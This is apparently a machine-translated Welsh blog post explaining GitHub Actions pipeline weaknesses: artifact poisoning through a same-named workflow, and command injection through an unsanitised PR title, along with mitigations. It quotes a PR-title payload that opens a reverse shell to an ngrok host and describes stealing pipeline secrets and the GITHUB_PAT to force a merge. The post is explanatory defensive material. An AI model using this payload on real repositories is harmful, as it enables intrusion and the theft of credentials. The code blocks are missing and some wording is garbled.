Ar bostiadau blaenorol (gweler Gwenwyno Anuniongyrchol Pipeline Gweithredu I-PPE ac Gwenwynig Pipeline PPE Gweithredu , fe wnaethon ni ddelio'n y bôn â PPE (Gwenwyno Pipeline Dienyddio): gwelsom sut mae'n gweithio, ei effeithiau, rhywfaint o gamfanteisio yn ogystal â rhai ffyrdd o amddiffyn yn ei erbyn.
Mae'r post hwn yn plymio'n fanwl i rai eraill CI/CD pipeline gwendidau fel Gwenwyno Arteffactau a Chwistrelliad Cod.
I wneud hynny, byddwn yn ei seilio rywsut ar PPE felly gadewch i ni wneud crynodeb cyflym o'r hyn a welsom am PPE.
Gwaith blaenorol ar PPE
I grynhoi, fe ddechreuon ni gyda GitHub sylfaenol pipeline i adeiladu a phrofi cod a gyfrannwyd drwy pull request. Heblaw, mae'n diffinio rhai gwiriadau a fydd, os cânt eu bodloni, yn uno'r cod i'r gangen brif ffrwd. Fe wnaethon ni enwi hyn fel Senario #1.
Yn ein postiad blaenorol, fe wnaethon ni ddangos sut mae'r sylfaenol hwn pipeline Roedd agored i niwed gan D-PPE ac I-PPE.
Fe lwyddon ni i trwsio D-PPE by addasu'r digwyddiad sbarduno o cais_tynnu i targed_cais_tynnu, gan wneud y pipeline yn ddiogel i D-PPEFel atgoffa, pipelinebydd s a sbardunir ar ddigwyddiad pull_request_target yn gweithredu'r sylfaen pipeline cod, nid y pipeline cod sydd wedi'i gynnwys yn y pull request.
Fe wnaethon ni enwi hyn fel Senario #2.
O ganlyniad i'r addasiad hwn, dangoson ni fod Roedd Senario #2 yn dal yn agored i niwed gan I-PPE.
I'w drwsio, penderfynon ni i rannu'r pipeline yn ddau:
- Y 1af pipeline (Adeiladu CI) fyddai gwiriwch y cod PR (i'w adeiladu), gwneud yr adeiladwaith a chynhyrchu arteffact.
- Yr 2il pipeline (Prawf CI) fyddai edrychwch ar y cod Sylfaenol (i osgoi addasu sgriptiau cragen) a gweithredu'r sgriptiau gwreiddiol yn erbyn yr arteffact.
- I gydamseru'r Prawf CI pipeline i redeg AR ÔL y CI Adeiladu pipeline, byddwn yn defnyddio'r rhedeg_llif_gwaith sbardun.
Fe wnaethon ni enwi hyn fel Senario #3.
Gadewch i ni adfer cod y ddau pipelineyn ôl yr addasiadau hyn…
1st pipeline (Adeiladu CI):
2il pipeline (Prawf CI):
Gwenwyno Arteffactau
Yn ôl yr uchod CI/CD pipelines:
- pipeline Adeiladu CI is ddiogel i'r ddau D-PPE (oherwydd targed_cais_tynnu) A I-PPE (oherwydd nad yw'n gweithredu'r sgript cragen mwyach).
- pipeline Prawf CI Mae hefyd yn ddiogel i'r ddau D-PPE (oherwydd rhedeg_llif_gwaith) A I-PPE (oherwydd ei fod yn gwirio'r cod sylfaenol i gael y sgript cragen wreiddiol)
Gadewch i ni ymchwilio'n fanwl i'r "datrysiad" hwn.
Pipeline Prawf CI yn lawrlwytho'r arteffact fel ffeil zip.
Ar ôl ei ddadsipio, mae'n gweithredu'r sgript cragen "diogel". Pam rydw i'n dweud y sgript cragen "diogel"? Oherwydd mewn cam blaenorol, y pipeline yn gwirio'r cod "sylfaenol", felly mae'r sgript wreiddiol yn cael ei rhoi yn y ffolder gweithle. Felly, pan fydd y pipeline yn gweithredu'r sgript cragen y bydd yn ei rhedeg gan ddefnyddio'r ffeil ddeuaidd a lawrlwythwyd yn flaenorol.
Yna, beth yw'r problem gyda'r dull hwn? Daw'r broblem pan fydd unrhyw ddefnyddiwr yn “creu” un newydd pipeline.
Os bydd defnyddiwr yn agor PR sy'n cynnwys newydd pipeline, bydd GitHub yn gweithredu hynny pipeline (o ystyried rhai amodau, fel y gwelsom yn y blaenorol) bostio).
O ystyried hyn, beth os yw'r defnyddiwr yn creu un newydd pipeline gyda'r un enw â Build CI? Ydy, mae'n syndod, ond Mae GitHub yn caniatáu ichi greu dau pipelines gyda'r un enw!!
Cofiwch y bydd Prawf CI yn gweithredu ar ôl Adeiladu CI…
Yn syndod, oherwydd bod dau bellach pipelines gyda'r un enw, y pipeline Bydd Prawf CI yn gweithredu ddwywaithun ar ôl y gwreiddiol pipeline ac eraill ar ôl y “newydd” pipeline.
Sut gall yr haciwr fanteisio ar hyn?
- Yn gyntaf, gall y defnyddiwr maleisus addasu'r sgript cragen i anfon y gyfrinach at y gweinydd sy'n cael ei reoli gan haciwr.
- Yn ail, y newydd pipeline yn cynnwys llinell i gopïo'r sgript cragen wedi'i haddasu i'r arteffact → gwenwyno'r artiffactyddct!!!
Pan fydd y defnyddiwr yn agor PR gyda'r newidiadau hyn, y "newydd" pipeline yn cael ei weithredu (uwchlwytho arteffact gwenwynig) a'r Deploy CI pipeline yn cael ei weithredu ar ôl hynny, gan arwain at mae'r sgript cragen "wedi'i haddasu" yn trosysgrifennu'r sgript cragen "gwreiddiol" sydd wedi'i lleoli yn y pipeline lle gwaith.
Dyma beth rydyn ni'n ei alw Gwenwyno Arteffactau, h.y. y gallu i addasu (hacio) y pipeline rhesymeg trwy addasu a pipeline arteffact.
Un posibl adfer yn eithaf syml: byddai dadsipio'r arteffact i is-ffolder o'r gweithle yn osgoi trosysgrifennu'r sgript cragen "sylfaenol".
Cod Chwistrellu
Ar wahân i wenwyno arteffactau, allwch chi weld unrhyw wendid arall yn y cod uchod?
Awn ni!!
Fel y gallwch weld yn y cod, pipeline Mae Build CI yn adeiladu'r ffeil ddeuaidd, mae'n uwchlwytho'r ffeil ddeuaidd fel ffeil pipeline arteffact ac, ar ben hynny, mae'n uwchlwytho cwpl o ddata ychwanegol: y Teitl PR a'r ID PR.
Pam? Oherwydd i uno'r PR, fel y gallwch weld isod, y Prawf CI pipeline angen yr ID PR i alw'r GitHub REST API sy'n uno'r PR.
Sut mae'r Prawf CI yn gweithio pipeline cael gafael ar yr ID PR hwnnw? Rhannu gwybodaeth mewn ffeiliau testun (rhan o a pipeline arteffact) yn ffordd gyffredin o rannu gwybodaeth rhwng pipelines. A dyna'n union beth mae'r rhain yn ei olygu pipelines yn ei wneud.
A bod yn fanwl gywir, dim ond yr ID PR sydd ei angen i uno'r PR, ond y pipeline penderfynodd y gweinyddwr y dylai'r CI Adeiladu gynnwys y teitl PR hefyd felly'r CI Prawf pipeline byddai'n argraffu rhywfaint o neges wybodaeth yn cynnwys yr ID PR a'r Teitl.
Mae'r Teitl PR bob amser yn ddata sy'n dod gan y defnyddiwr ac, felly, rhaid ei ystyried bob amser yn ddata annibynadwy.. Felly mae'r pipeline rhaid trin felly a chymryd mesurau amddiffynnol.
Yn y cod uchod, gallwn weld y neges benodol yn adleisio'r Teitl PR. Gorchymyn linux “echo” yn unig ydyw.
Drwy ryngosod llinynnau, os yw'r teitl yn "deitl ffug", mae Github yn cynhyrchu sgript yn fewnol sy'n cynnwys
Ond, beth pe bai'r teitl PR yn rhywbeth fel:
Teitl maleisus” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Byddai'r sgript yn dod yn:
Gan arwain at agor cragen gwrthdro yn erbyn y gweinydd sy'n cael ei reoli gan haciwr.
Gellid defnyddio'r gragen wrthdro honno i gael mynediad at y pipeline cyfrinachau (cofiwch fod Prawf CI yn rhedeg yn y modd breintiau oherwydd ei fod yn cael ei sbarduno gan workflow_run felly mae ganddo fynediad at gyfrinachau).
Ond, beth arall y gellir ei wneud trwy'r gragen wrthdro honno?
Edrychwch ar y cod Prawf CI:
Fel y gallwch weld yn y Prawf CI pipeline, mae'r gorchymyn curl merge yn defnyddio GITHUB_PAT (a ddiffinnir fel pipeline (newidyn amgylchedd), felly mae'r rhedwr yn cynnwys y GITHUB_PAT fel newidyn amgylcheddol. Ar ben hynny, mae hefyd yn creu newidyn amgylchedd sy'n darllen yr ID PR.
Felly does ond angen i'r haciwr gopïo'r gorchymyn curl a'i gludo i'r gragen gwrthdro, gan uno'r PR yn uniongyrchol i'r gangen warchodedig.
I amddiffyn rhag hyn i gyd:
- I osgoi rhyngosod llinyn gyda data annibynadwy (yn agored i niwed i chwistrelliad cod) gan diffinio pipeline amrywiadau amgylchedd yn lle ei ddefnyddio'n uniongyrchol mewn gorchmynion echo
Yn lle defnyddio:
Defnyddiwch hwn:
- Hyd yn oed gyda'r ecsbloetio chwistrellu cod, ni fyddai'r gorchymyn cyfuno curl wedi llwyddo pe byddech chi wedi gwneud hynny'n iawn amddiffyn eich pull requests trwy rywfaint o adolygiad neu gymeradwyaeth orfodol.
Casgliadau
Mae'n anodd ei amddiffyn rywsut CI/CD pipelineffurfweddiad s a chael pipelineyn rhydd o wendidau.
Nid yw hyn yn golygu hynny CI/CD mae systemau (fel GitHub yn yr achos hwn) yn agored i niwed ynddynt eu hunain. CI/CD mae systemau'n darparu'r modd i amddiffyn rhag gwendidau ... ond cyfrifoldeb y gweinyddwr yw gweithredu'r amddiffyniadau hynny.
Ond ... Ni allwch ddatrys gwendid oni bai eich bod yn ymwybodol o'i fodolaeth!!!
Wrth gwrs y gallai gweinyddwr devops medrus iawn fod â'r holl fygythiadau hyn mewn golwg ac amddiffyn y CI/CD pipelines, ond, er hynny, mae'n werthfawr iawn defnyddio cynnyrch i ganfod yr holl fathau hyn o wendidau. Ac wrth gwrs i awtomeiddio'r broses cadw wendidau hon (er enghraifft, rhedeg y sgan fel rhan o CI/CD pipelines).
Gellid galw'r dull hwn yn “Porth Diogelwch”:
- Creu newydd pipeline (Gât Ddiogelwch) i wirio am CI/CD pipelinegwendidau s a gwneud y CI arall pipelinei'w gweithredu dim ond ar ôl cwblhau'r Porth Diogelwch yn llwyddiannus pipeline.
- Y Giât Diogelwch pipelinebydd s yn gwirio am CI/CD pipelinegwendidau a,
- Os canfyddir gwallau, bydd yn methu ac, felly, y llall pipelineni fydd s yn cael eu gweithredu.
- Os na cheir unrhyw fylgau, y pipeline bydd yn llwyddo a'r llall pipelineBydd s yn gweithredu fel arfer.
